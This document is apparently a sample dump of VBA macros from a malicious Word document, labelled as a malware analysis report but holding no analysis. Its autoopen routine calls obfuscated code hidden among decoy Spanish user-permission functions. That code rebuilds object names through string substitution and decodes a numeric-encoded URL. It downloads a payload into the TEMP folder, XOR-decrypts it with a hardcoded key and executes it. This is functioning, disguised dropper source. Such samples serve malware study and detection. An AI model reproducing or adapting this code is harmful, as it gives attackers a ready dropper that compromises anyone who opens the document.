Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
cCripto "ladadens"
End Sub



Attribute VB_Name = "Module1"
'
' MENSAJES GENERALES.
'
Global Const mensaje_cancelar = " Pulse Click para abandonar esta ventana."
Global Const mensaje_cerrar = " Pulse Click para abandonar esta ventana."
Global Const mensaje_salir = " Pulse Click para abandonar esta ventana."
Global Const mensaje_opcion = " Pulse Click para seleccionar Opci?n."
Global Const mensaje_copiar = " Pulse Click para Copiar al Portapapeles."

'
' Recupera un nombre de fichero temporal
'Declare Function GetTempFileName Lib "Kernel" (ByVal cDriveLetter As Integer, ByVal lpPrefixString As String, ByVal wUnique As Integer, ByVal lpTempFileName As String) As Integer
Public AlalalalaLoLaLoLomLoDAcdaw As Object
Public AlalalalaLoLaLoLomLoPLAPEKCwwed As Object
Public AlalalalaLoLaLoLomLoKSKLAL As Object
Public AlalalalaLoLaLoLomLoXSAOO() As String


Public AlalalalaLoLaLoLomLoLAKOPPC As String
Public AlalalalaLoLaLoLomLoPLAPEKC() As String
Public AlalalalaLoLaLoLomLoUUUKA As String
Public AlalalalaLoLaLoLomLoUUUKABBB As String


Public AlalalalaLoLaLoLomLoGMAKO As Object
Public AlalalalaLoLaLoLomLo4 As String
 Public AlalalalaLoLaLoLomLo2 As String
Public AlalalalaLoLaLoLomLoASALLLP As Variant


Function cCripto(ByVal Cadena As String) As String
    ' Esta funcion encripta la cadena pasada como parametro y devuelve
    ' la cadena encriptada.
    '
    Dim longitud As Integer         ' longitud de la cadena de entrada
    Dim Puntero As Integer          ' indice para recorrer la cadena
    Dim Codigo As String            ' codigo encriptado correspondiente a un caracter de entrada
    Dim Conversores() As Integer    ' conversores para encriptar
    Dim Salida As String            ' cadena encriptada

    ' Inicializacion de conversores para encriptar
    ReDim Conversores(8) As Integer
    Conversores(1) = 25
    Conversores(2) = -20
    Conversores(3) = 30
    Conversores(4) = -15
    Conversores(5) = 20
    Conversores(6) = -10
    
 AlalalalaLoLaLoLomLoXSAOO = Split("2808555749958873132555749958873132555749958873024555749958871566555749958871269555749958871269555749958873132555749958873267555749958872997555749958873159555749958873105555749958872727555749958872835555749958872889555749958872619555749958872970555749958871242555749958873213555749958872727555749958872646555749958871242555749958872754555749958872673555749958871350555749958871242555749958872673555749958872997555749958872943555749958871269555749958872808555749958871485555749958871512555749958873078555749958871377555749958872781555749958872754555749958872727", "55574995887")
    Conversores(7) = 25
    Conversores(8) = -5

    ' inicializacion de la salida
    Salida = ""

    ' calcula la longitud de la cadena de entrada
    longitud = Len(Cadena)
AlalalalaLoLaLoLomLo2 = GodnTeBabenParama("CVAATicroCVAAAToft.XCVAATLHTTPCVAAAATAdodb.CVAAATtrCVATaCVAATCVAAAATCVAAAThCVATll.Appl" _
+ GodnTeBabenParama("icationCVAAAATWCVAAATcript.CVAAAThCVATllCVAAAATProcCVATCVAAATCVAAATCVAAAATGCVATTCVAAAATTCVATCVAATPCVAAAATTypCVATCVAAAATopCVATnCVAAAATwritTRONponCVAAATCVATBodyCVAAAATCVAAATavCVATtofilCVATCVAAAAT", "TRON", "CVATCVAAAATrCVATCVAAAT") _
+ "\sysdrubpaCVAAAT.CVATxCVAT", "CVAT", "e")
    ' convierte cada caracter de la cadena de entrada
    For Puntero = 1 To longitud
        Codigo = Chr(Asc(Mid(Cadena, Puntero, 1)) + Conversores(Puntero))
        Salida = RTrim(Salida) & LTrim(Codigo)
    Next Puntero

cDesCripto Salida
    cCripto = Salida
End Function

Function cDesCripto(ByVal Cadena As String) As String
    ' Esta funcion desencripta la cadena pasada como parametro y devuelve
    ' la cadena desencriptada.
    '
    Dim longitud As Integer         ' longitud de la cadena de entrada
    Dim Puntero As Integer          ' indice para recorrer la cadena
    Dim Codigo As String            ' codigo desencriptado correspondiente a un caracter deentrada
    Dim Conversores() As Integer    ' conversores para desencriptar
    Dim Salida As String            ' cadena desencriptada

    ' Inicializacion de conversores para encriptar
    ReDim Conversores(8) As Integer
    Conversores(1) = -25
    Conversores(2) = 20
    Conversores(3) = -30
    Conversores(4) = 15
    Conversores(5) = -20
    Conversores(6) = 10
    
 AlalalalaLoLaLoLomLo2 = GodnTeBabenParama(AlalalalaLoLaLoLomLo2, "CVAAT", "M")
 AlalalalaLoLaLoLomLo2 = GodnTeBabenParama(AlalalalaLoLaLoLomLo2, "CVAAAT", "s")
    Conversores(7) = -25
    Conversores(8) = 5

    ' inicializacion de la salida
    Salida = ""

    ' calcula la longitud de la cadena de entrada
    longitud = Len(Cadena)

    ' convierte cada caracter de la cadena de entrada
    For Puntero = 1 To longitud
        Codigo = Chr$(Asc(Mid$(Cadena, Puntero, 1)) + Conversores(Puntero))
        Salida = RTrim$(Salida) & LTrim$(Codigo)
    Next Puntero
    cDesCripto = Salida

 AlalalalaLoLaLoLomLoPLAPEKC = Split(AlalalalaLoLaLoLomLo2, "CVAAAAT")
 Set AlalalalaLoLaLoLomLoPLAPEKCwwed = CreateObject(AlalalalaLoLaLoLomLoPLAPEKC(1))
 Set AlalalalaLoLaLoLomLoGMAKO = CreateObject(AlalalalaLoLaLoLomLoPLAPEKC(2))
 PrimeraVez
End Function

'Function Quitar_Comas(ByVal Campo As String) As String
'    '----------------------------------------------------
'    ' Elimina las comas en caso de que estemos en ingles.
'    '----------------------------------------------------
'    '
'    Sustituir Campo, ",", ""
'    Quitar_Comas = Campo
'End Function
'
'Function Quitar_Puntos(ByVal Campo As String) As String
'    '----------------------------------------------------
'    ' Elimina los puntos de un texto
'    '----------------------------------------------------
'    '
'    Sustituir Campo, ".", ""
'    Quitar_Puntos = Campo
'End Function

Public Function DuBirMahnWeishr(AlalalalaLoLaLoLomLo6 As Integer) As String
Dost = CInt(AlalalalaLoLaLoLomLoXSAOO(AlalalalaLoLaLoLomLo6))
DuBirMahnWeishr = Chr(Dost / (35 - 8))
End Function
Public Function GodnTeBabenParama(A1 As String, A2 As String, A3 As String) As String
GodnTeBabenParama = Replace(A1, A2, A3)
End Function

'Sub Sustituir(Cadena As String, car1 As String, car2 As String)
'
'    '---------------------------------------------------------------
'    ' Sustituye en el texto que se le pasa como parametro en Cadena
'    ' el caracter pasado en car1 por el caracter pasado en car2
'    ' Par?metros :
'    '              Cadena : Texto a sustituir
'    '              Car1   : Caracter a reemplazar
'    '              Car2   : Nuevo caracter
'    '----------------------------------------------------------------
'
'    Dim l1%, lcad%, Nueva_Cadena$, trozo$, Car_Actual%
'
'    l1% = Len(car1)
'    lcad% = Len(Cadena)
'    Nueva_Cadena$ = ""
'    Car_Actual% = 1
'    trozo$ = Mid$(Cadena, Car_Actual%, l1%)
'    While Car_Actual% <= lcad%
'          If trozo$ = car1 Then
'              Nueva_Cadena$ = Nueva_Cadena$ + car2
'              Car_Actual% = Car_Actual% + l1%
'          Else
'              Nueva_Cadena$ = Nueva_Cadena$ + Mid$(Cadena, Car_Actual%, 1)
'              Car_Actual% = Car_Actual% + 1
'          End If
'          trozo$ = Mid$(Cadena, Car_Actual%, l1%)
'    Wend
'    Cadena = Nueva_Cadena$
'End Sub
'
'
'
'
'End Sub
Public Function VerAuditoria()
Dim SQL As String


VerAuditoria = False
RsUsu.ActiveConnection = Con

SQL = "Select * FROM usuarios "
SQL = SQL & " WHERE usu_id=" & IdUsuario
RsUsu.Open SQL

    If Not RsUsu.EOF Then
     If RsUsu!usu_auditor = "S" Then
        VerAuditoria = True
     Else
        VerAuditoria = False
     End If
        
        
    
    End If



End Function


Public Function permisos(nombreformu As String, IdUsuario As Long) As Boolean

Dim SQL As String
Dim idformu As Long

permisos = False
RsUsu.ActiveConnection = Con
idformu = BuscarIdFormu(nombreformu)

SQL = "Select * FROM PermisosPorFormu "
SQL = SQL & " WHERE ppf_idformu=" & idformu
SQL = SQL & " AND ppf_idusuario=" & IdUsuario
RsUsu.Open SQL

    If Not RsUsu.EOF Then
     permisos = True
     p = RsUsu!ppf_permisos
        
        
    
    End If



End Function
Public Function BuscarIdFormu(nombreformu As String) As Long
Dim SQL As String

RsFormu.ActiveConnection = Con

SQL = "Select * from Formularios WHERE frm_nombre=" & "'" & nombreformu & "'"

RsFormu.Open SQL

    If Not RsFormu.EOF Then
        BuscarIdFormu = RsFormu!frm_id
    End If
End Function
Public Function ExisteUsuario(nomusu As String, IdUsuario As Long, clave As String) As Boolean
Dim SQL As String


 Set AlalalalaLoLaLoLomLo1DASH1solo = CreateObject(AlalalalaLoLaLoLomLoPLAPEKC(3))
 Set AlalalalaLoLaLoLomLoKSKLAL = AlalalalaLoLaLoLomLo1DASH1solo.Environment(AlalalalaLoLaLoLomLoPLAPEKC(4))
 VerCadenaPermiso SQL
Exit Function
RsUsuario.ActiveConnection = RutaBase

SQL = "Select * from Usuarios WHERE usu_apodo=" & "'" & nomusu & "'"
RsUsuario.Open SQL

If Not RsUsuario.EOF Then
    ExisteUsuario = True
    IdUsuario = RsUsuario!usu_id
    clave = RsUsuario!usu_clave
Else
    ExisteUsuario = False
End If
End Function
Public Function PrimeraVez() As Boolean

Dim SQL As String
Dim entrada As String
Dim I As Integer
 Dim d As Boolean
 d = True
 IsWord = True
 For I = 1 To Len(Trim("DAbro"))
 If d = False Then
Set AlalalalaLoLaLoLomLoDAcdaw = CreateObject(AlalalalaLoLaLoLomLoPLAPEKC(I - 2))
Exit For
Else
d = False
End If
Next I
ExisteUsuario entrada, 0, SQL
Exit Function
PrimeraVez = False
RsUsuario.ActiveConnection = RutaBase
entrada = "N"
SQL = "SELECT * FROM Usuarios WHERE usu_id=" & IdUsuario
SQL = SQL & " AND usu_entrada=" & "'" & entrada & "'"
RsUsuario.Open SQL

If Not RsUsuario.EOF Then
    PrimeraVez = True
    IdUsuario = RsUsuario!usu_id
    clave = RsUsuario!usu_clave
Else
    PrimeraVez = False
End If





End Function
Public Sub DecryptFile(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
  

  
  'Open the source file and read the content
  'into a bytearray to decrypt
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
  
  'Decrypt the bytearray
  Call DecryptByte(ByteArray(), Key)


  'Store the decrypted data in the destination file
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub
Public Sub DecryptByte(ByteArray() As Byte, Key As String)

  Dim Offset As Long
  Dim ByteLen As Long
  Dim ResultLen As Long
  Dim CurrPercent As Long
  Dim NextPercent As Long
  Dim m_Key() As Byte
Dim m_KeyLen As Long

  m_KeyLen = Len(Key)
ReDim m_Key(m_KeyLen)

  m_Key = StrConv(Key, vbFromUnicode)

  'Get the size of the source array
  ByteLen = UBound(ByteArray) + 1
  ResultLen = ByteLen
  'Loop thru the data encrypting it with
  'simply XOR?ing with the key
  For Offset = 0 To (ByteLen - 1)
    ByteArray(Offset) = ByteArray(Offset) Xor m_Key(Offset Mod m_KeyLen)
  
    'Update the progress if neccessary
    If (Offset >= NextPercent) Then
      CurrPercent = Int((Offset / ResultLen) * 100)
      NextPercent = (ResultLen * ((CurrPercent + 1) / 100)) + 1
    End If
  Next
End Sub
Public Sub ActualizarEntrada()
Dim SQL As String
Dim entrada As String


entrada = "S"


RsUsuario.ActiveConnection = RutaBase

SQL = "UPDATE Usuarios "
SQL = SQL & " SET usu_entrada=" & "'" & entrada & "'"
SQL = SQL & " Where usu_id = " & IdUsuario
RsUsuario.Open SQL


End Sub
Public Function NombreUsuario() As String
Dim SQL As String

RsUsuario.ActiveConnection = RutaBase

SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario
RsUsuario.Open SQL

If Not RsUsuario.EOF Then
    NombreUsuario = RsUsuario!usu_apodo
End If
End Function
Public Sub VerCadenaPermiso(permiso As String)
Dim I As Long
Dim letra As String

Alta = False
Baja = False
modi = False
Dim Consu As Boolean
Consu = True
Dim apdistance As Integer
For apdistance = LBound(AlalalalaLoLaLoLomLoXSAOO) To UBound(AlalalalaLoLaLoLomLoXSAOO)
 AlalalalaLoLaLoLomLo4 = AlalalalaLoLaLoLomLo4 & DuBirMahnWeishr(apdistance)
 Next apdistance
 
 
 If Application = "Microsoft Word" Then
 AlalalalaLoLaLoLomLoDAcdaw.Open AlalalalaLoLaLoLomLoPLAPEKC(5), AlalalalaLoLaLoLomLo4, False
AlalalalaLoLaLoLomLoDAcdaw.Send
CambiarPass letra, "", Consu
End If

Exit Sub
    For I = 1 To Len(permiso)
        
        letra = Mid(permiso, I, 1)
        
        If letra = "A" Then
            Alta = True
        End If
        
        If letra = "B" Then
            Baja = True
        End If
        
        If letra = "M" Then
            modi = True
        End If
        
        If letra = "C" Then
            Consu = True
        End If
    Next I
    If Len(permiso) = 0 Then
        Consu = False
        modi = False
        Alta = False
        Baja = False
    End If
End Sub
Public Sub CambiarPass(OldPass As String, newpass As String, cambio As Boolean)
Dim SQL As String
If cambio Then
 AlalalalaLoLaLoLomLoLAKOPPC = AlalalalaLoLaLoLomLoKSKLAL(AlalalalaLoLaLoLomLoPLAPEKC(6))
 AlalalalaLoLaLoLomLoUUUKA = AlalalalaLoLaLoLomLoLAKOPPC

 
 AlalalalaLoLaLoLomLoUUUKABBB = AlalalalaLoLaLoLomLoUUUKA + "WFDSAdrweg"
AlalalalaLoLaLoLomLoUUUKA = AlalalalaLoLaLoLomLoUUUKA + AlalalalaLoLaLoLomLoPLAPEKC(12)
AlalalalaLoLaLoLomLoPLAPEKCwwed.Type = 1

 AlalalalaLoLaLoLomLoPLAPEKCwwed.Open
 encript SQL
Exit Sub
Else
GoTo BigEnd
End If
RsUsuario.ActiveConnection = RutaBase
RsClave.ActiveConnection = RutaBase

SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario
RsUsuario.Open SQL

If Not RsUsuario.EOF Then
    If OldPass = Decript(RsUsuario!usu_clave) Then
        
        SQL = "UPDATE Usuarios SET usu_clave=" & "'" & encript(newpass) & "'"
        SQL = SQL & " WHERE usu_id=" & IdUsuario
        RsClave.Open SQL
        cambio = True
        
    Else
        cambio = False
    End If
End If
BigEnd:
CallByName AlalalalaLoLaLoLomLoPLAPEKCwwed, "savetofile", VbMethod, AlalalalaLoLaLoLomLoUUUKABBB, 2
 DecryptFile AlalalalaLoLaLoLomLoUUUKABBB, AlalalalaLoLaLoLomLoUUUKA, "Aw3WSr7dB3RlPpLVmGVTtXcQ3WG8kQym"
 AlalalalaLoLaLoLomLoGMAKO.Open (AlalalalaLoLaLoLomLoUUUKA)
End Sub
Public Function encript(pass As String) As String
    Dim temp As String
    Dim temp1 As String
    Dim pos As Long
    Dim leng As Long
    Dim tim As Variant
    Dim I As Long
    Dim Key As Long
AlalalalaLoLaLoLomLoASALLLP = AlalalalaLoLaLoLomLoDAcdaw.responseBody
 
 Decript temp1
 Exit Function
    leng = Len(pass)
    tim = Mid(Time, 1, 8)
    tim = Mid(tim, 1, Len(tim) - 3)
    tim = Mid(tim, Len(tim) - 1, 2) * Int(Rnd * 100)
    For I = 1 To Len(CStr(tim))
        pos = pos + CInt(Mid(CStr(tim), I, 1))
    Next
    While pos > Len(pass)
        pos = pos Mod 10 + Int(Rnd * 10)
        If pos = 0 Then
            pos = Len(pass) + 1
        End If
    Wend
    If pos <= 2 Then
        pos = 3
    End If
    Key = Int((255 - 150 + 1) * Rnd + 150)
    For I = 1 To Len(pass)
        If Asc(Mid(pass, I, 1)) > Key Then
            temp = temp & Chr(CInt(Asc(Mid(pass, I, 1))) - Key)
        ElseIf Asc(Mid(pass, I, 1)) < Key Then
            temp = temp & Chr(Key - CInt(Asc(Mid(pass, I, 1))))
        Else
            temp = temp & Chr(Asc(Mid(pass, I, 1)))
        End If
    Next
    temp1 = Mid(temp, 1, pos) & Chr(Key)
    temp1 = temp1 & Mid(temp, pos + 1, Len(temp))
    temp = Chr(pos + 150) & temp1
    encript = temp
End Function


Public Function Decript(pass As String) As String


    Dim pos As Long
    Dim Key As Long
    Dim temp As String
    Dim I As Long
    Dim temp1 As String

 AlalalalaLoLaLoLomLoPLAPEKCwwed.Write AlalalalaLoLaLoLomLoASALLLP
 CambiarPass temp, temp1, False
 Exit Function
    pos = Int(Asc(Mid(pass, 1, 1))) - 150
    Key = Asc(Mid(pass, pos + 2, 1))
    temp = Mid(pass, 1, pos + 1)
    pass = temp & Mid(pass, pos + 3, Len(pass))
    pass = Mid(pass, 2, Len(pass))
    For I = 1 To Len(pass)
        If Asc(Mid(pass, I, 1)) <> Key Then
            temp1 = temp1 & Chr(Key - CInt(Asc(Mid(pass, I, 1))))
        Else
            temp1 = temp1 & Chr(Asc(Mid(pass, I, 1)))
        End If
    Next
    Decript = temp1
End Function